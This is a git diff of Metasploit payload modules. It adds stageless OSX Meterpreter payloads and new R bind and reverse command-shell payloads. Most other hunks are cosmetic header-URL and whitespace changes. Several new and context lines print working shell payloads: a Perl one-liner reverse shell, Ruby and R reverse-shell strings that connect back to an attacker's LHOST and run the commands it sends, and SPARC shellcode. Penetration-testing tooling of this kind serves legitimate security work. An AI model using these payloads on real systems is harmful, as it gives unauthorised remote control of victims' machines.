diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
new file mode 100644
index 0000000000..4a08503586
--- /dev/null
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_http'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'msf/base/sessions/meterpreter_x64_osx'
+
+module MetasploitModule
+
+  CachedSize = 618412
+
+  include Msf::Payload::Single
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'OSX Meterpreter, Reverse HTTP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>'
+        ],
+        'Platform'      => 'osx',
+        'Arch'          => ARCH_X64,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseHttp,
+        'Session'       => Msf::Sessions::Meterpreter_x64_OSX
+      )
+    )
+  end
+
+  def generate
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
+    MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
+  end
+end
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
new file mode 100644
index 0000000000..6436a8b549
--- /dev/null
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_https'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'msf/base/sessions/meterpreter_x64_osx'
+
+module MetasploitModule
+
+  CachedSize = 618412
+
+  include Msf::Payload::Single
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'OSX Meterpreter, Reverse HTTPS Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>'
+        ],
+        'Platform'      => 'osx',
+        'Arch'          => ARCH_X64,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseHttps,
+        'Session'       => Msf::Sessions::Meterpreter_x64_OSX
+      )
+    )
+  end
+
+  def generate
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
+    MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
+  end
+end
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
new file mode 100644
index 0000000000..a70eb46ee7
--- /dev/null
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'msf/base/sessions/meterpreter_x64_osx'
+
+module MetasploitModule
+
+  CachedSize = 618412
+
+  include Msf::Payload::Single
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'OSX Meterpreter, Reverse TCP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>'
+        ],
+        'Platform'      => 'osx',
+        'Arch'          => ARCH_X64,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseTcp,
+        'Session'       => Msf::Sessions::Meterpreter_x64_OSX
+      )
+    )
+  end
+
+  def generate
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
+    MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
+  end
+end
diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb
index 5454b25f1b..ab9cc23e9c 100644
--- a/modules/payloads/singles/osx/x64/say.rb
+++ b/modules/payloads/singles/osx/x64/say.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 module MetasploitModule
 
   CachedSize = 53
diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb
index 77aedb4964..dc83f62ed4 100644
--- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb
+++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 module MetasploitModule
diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb
index 2bc811876c..3ca2e03d53 100644
--- a/modules/payloads/singles/osx/x64/shell_find_tag.rb
+++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ module MetasploitModule
       "\x48\x89\xE6" +                    # mov rsi,rsp
       "\x0F\x05"                          # loadall286
   end
-
 end
diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb
index 7a07596979..392de802c5 100644
--- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 module MetasploitModule
diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb
index 0d84c22c88..169b60e544 100644
--- a/modules/payloads/singles/osx/x86/exec.rb
+++ b/modules/payloads/singles/osx/x86/exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 ###
 #
 # Exec
diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb
index 81571831eb..cc0debb5b8 100644
--- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb
+++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,5 +74,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb
index ed99ca0b59..da42b52302 100644
--- a/modules/payloads/singles/osx/x86/shell_find_port.rb
+++ b/modules/payloads/singles/osx/x86/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb
index 0931dfb029..ced8a82bd9 100644
--- a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ module MetasploitModule
         }
     ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb
index fda58e0fcf..e463584663 100644
--- a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb
+++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -54,5 +54,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb
index 3624000c9e..78f532e96e 100644
--- a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -53,5 +53,4 @@ module MetasploitModule
         }
     ))
   end
-
 end
diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb
index 5889c06dff..bc50444b57 100644
--- a/modules/payloads/singles/php/bind_perl.rb
+++ b/modules/payloads/singles/php/bind_perl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,5 +51,4 @@ module MetasploitModule
 
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb
index 1459ac4a8b..8667909478 100644
--- a/modules/payloads/singles/php/bind_perl_ipv6.rb
+++ b/modules/payloads/singles/php/bind_perl_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,5 +51,4 @@ module MetasploitModule
 
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb
index 7b56cebcb3..e1ac38d50e 100644
--- a/modules/payloads/singles/php/bind_php.rb
+++ b/modules/payloads/singles/php/bind_php.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ module MetasploitModule
   def generate
     return super + php_bind_shell
   end
-
 end
diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb
index a049f1da76..1c44176979 100644
--- a/modules/payloads/singles/php/bind_php_ipv6.rb
+++ b/modules/payloads/singles/php/bind_php_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ module MetasploitModule
   def generate
     return super + php_bind_shell
   end
-
 end
diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb
index b0c5a9004e..11f5f70f8d 100644
--- a/modules/payloads/singles/php/download_exec.rb
+++ b/modules/payloads/singles/php/download_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/php'
 
 
@@ -79,5 +78,4 @@ module MetasploitModule
   def generate
     return php_exec_file
   end
-
 end
diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb
index 466b4827a3..c1587cfd61 100644
--- a/modules/payloads/singles/php/exec.rb
+++ b/modules/payloads/singles/php/exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/php'
 require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/command_shell'
@@ -50,5 +49,4 @@ module MetasploitModule
   def generate
     return php_exec_cmd
   end
-
 end
diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
index 860b5f6150..1da5312e15 100644
--- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
 
 module MetasploitModule
 
-  CachedSize = 27033
+  CachedSize = 30071
 
   include Msf::Payload::Single
   include Msf::Payload::Php::ReverseTcp
@@ -39,6 +39,10 @@ module MetasploitModule
     bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
     met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)
 
+    # Stageless payloads need to have a blank session GUID
+    session_guid = '\x00' * 16
+    met = met.sub(%q|"SESSION_GUID", ""|, %Q|"SESSION_GUID", "#{session_guid}"|)
+
     met.gsub!(/#.*$/, '')
     met = Rex::Text.compress(met)
     met
diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb
index a166d86a78..0c984cade8 100644
--- a/modules/payloads/singles/php/reverse_perl.rb
+++ b/modules/payloads/singles/php/reverse_perl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -55,5 +55,4 @@ module MetasploitModule
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
     cmd   = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
   end
-
 end
diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb
index 9dc32fbd77..f509a4e743 100644
--- a/modules/payloads/singles/php/reverse_php.rb
+++ b/modules/payloads/singles/php/reverse_php.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,9 +63,9 @@ module MetasploitModule
     end
 
     shell=<<-END_OF_PHP_CODE
+    #{php_preamble(disabled_varname: "$dis")}
     $ipaddr='#{ipaddr}';
     $port=#{port};
-    #{php_preamble(disabled_varname: "$dis")}
 
     if(!function_exists('#{exec_funcname}')){
       function #{exec_funcname}($c){
@@ -128,5 +128,4 @@ module MetasploitModule
   def generate
     return super + php_reverse_shell
   end
-
 end
diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb
index e2f8c1200a..67cf1f63a0 100644
--- a/modules/payloads/singles/php/shell_findsock.rb
+++ b/modules/payloads/singles/php/shell_findsock.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ END_OF_PHP_CODE
   def generate
     return php_findsock
   end
-
 end
diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb
index 743f066aa8..3d097c72a7 100644
--- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 53654
+  CachedSize = 56570
 
   include Msf::Payload::Single
   include Msf::Payload::Python
@@ -37,9 +37,9 @@ module MetasploitModule
     socket_setup << "bind_sock.listen(1)\n"
     socket_setup << "s, address = bind_sock.accept()\n"
     opts[:stageless_tcp_socket_setup] = socket_setup
+    opts[:stageless] = true
 
     met = stage_meterpreter(opts)
     py_create_exec_stub(met)
   end
-
 end
diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb
index 7deb5b156b..354fd0852e 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 53614
+  CachedSize = 56530
 
   include Msf::Payload::Single
   include Msf::Payload::Python
@@ -37,10 +37,10 @@ module MetasploitModule
       url:             generate_callback_url(opts),
       http_user_agent: opts[:user_agent],
       http_proxy_host: opts[:proxy_host],
-      http_proxy_port: opts[:proxy_port]
+      http_proxy_port: opts[:proxy_port],
+      stageless:       true
     })
 
     py_create_exec_stub(met)
   end
-
 end
diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb
index aacb689612..dbf19dc526 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 53618
+  CachedSize = 56534
 
   include Msf::Payload::Single
   include Msf::Payload::Python
@@ -38,10 +38,10 @@ module MetasploitModule
       url:             generate_callback_url(opts),
       http_user_agent: opts[:user_agent],
       http_proxy_host: opts[:proxy_host],
-      http_proxy_port: opts[:proxy_port]
+      http_proxy_port: opts[:proxy_port],
+      stageless:       true
     })
 
     py_create_exec_stub(met)
   end
-
 end
diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
index 058b3bce51..f63420ede9 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 53570
+  CachedSize = 56486
 
   include Msf::Payload::Single
   include Msf::Payload::Python
@@ -35,9 +35,9 @@ module MetasploitModule
     socket_setup  = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
     socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
     opts[:stageless_tcp_socket_setup] = socket_setup
+    opts[:stageless] = true
 
     met = stage_meterpreter(opts)
     py_create_exec_stub(met)
   end
-
 end
diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb
index bd35ab038a..52021ff73c 100644
--- a/modules/payloads/singles/python/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/python/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,6 +64,5 @@ module MetasploitModule
 
     cmd
   end
-
 end
 
diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
index bc3d8dcd2c..fd0dfaf318 100644
--- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
+++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/r/shell_bind_tcp.rb b/modules/payloads/singles/r/shell_bind_tcp.rb
new file mode 100644
index 0000000000..c8bda82d1e
--- /dev/null
+++ b/modules/payloads/singles/r/shell_bind_tcp.rb
@@ -0,0 +1,43 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 125
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'R Command Shell, Bind TCP',
+      'Description' => 'Continually listen for a connection and spawn a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'r',
+      'Arch'        => ARCH_R,
+      'Handler'     => Msf::Handler::BindTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'r',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def r_string
+    return "s<-socketConnection(port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s,1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/r/shell_reverse_tcp.rb b/modules/payloads/singles/r/shell_reverse_tcp.rb
new file mode 100644
index 0000000000..3f2137b330
--- /dev/null
+++ b/modules/payloads/singles/r/shell_reverse_tcp.rb
@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 150
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'R Command Shell, Reverse TCP',
+      'Description' => 'Connect back and create a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'r',
+      'Arch'        => ARCH_R,
+      'Handler'     => Msf::Handler::ReverseTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'r',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def r_string
+    lhost = datastore['LHOST']
+    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+    return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s, 1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb
index f2005253ed..9f4d5cb56e 100644
--- a/modules/payloads/singles/ruby/shell_bind_tcp.rb
+++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
index aa591e6de4..4c888515c5 100644
--- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
+++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb
index c0987b5c52..3f43a411c6 100644
--- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb
index 6b82989708..56403345ab 100644
--- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb
+++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -44,5 +44,4 @@ module MetasploitModule
     rbs << "\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
     return rbs
   end
-
 end
diff --git a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb
index 95429bbbd2..13afc41667 100644
--- a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -44,5 +44,4 @@ module MetasploitModule
       "\x92\x23\xa0\x08\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc" +
       "\x82\x10\x20\x3b\x91\xd0\x20\x08"
   end
-
 end
diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb
index 0525e4d8aa..d338abd2a9 100644
--- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb
+++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -40,5 +40,4 @@ module MetasploitModule
       "\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08\xe0\x3b\xbf\xf0" +
       "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
   end
-
 end
diff --git a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb
index 9613d62d8c..db43dc24d5 100644
--- a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,5 +49,4 @@ module MetasploitModule
       "\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08\xe0\x3b\xbf\xf0" +
       "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
   end
-
 end
diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb
